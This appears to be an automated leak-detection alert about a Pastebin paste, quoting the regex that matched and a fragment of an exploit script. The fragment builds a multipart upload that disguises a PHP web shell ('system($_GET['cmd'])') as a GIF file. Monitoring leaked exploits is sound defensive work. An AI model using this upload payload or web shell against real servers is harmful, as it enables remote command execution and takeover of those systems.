Potential leak of data: PHP Remote Code Execution

Detected 2 occurrence(s) of ‘\s+(system|popen|shellexec|exec).*\$(_GET|_POST|_COOKIE|_REQUEST|HTTP_POST_VARS)': ader11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="0day.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aG'; $header16 = "<? system($_GET['cmd']);exit; ?>"; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = '0day'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; Source: http://pastebin.com/raw.php?i=6Xa2Sp37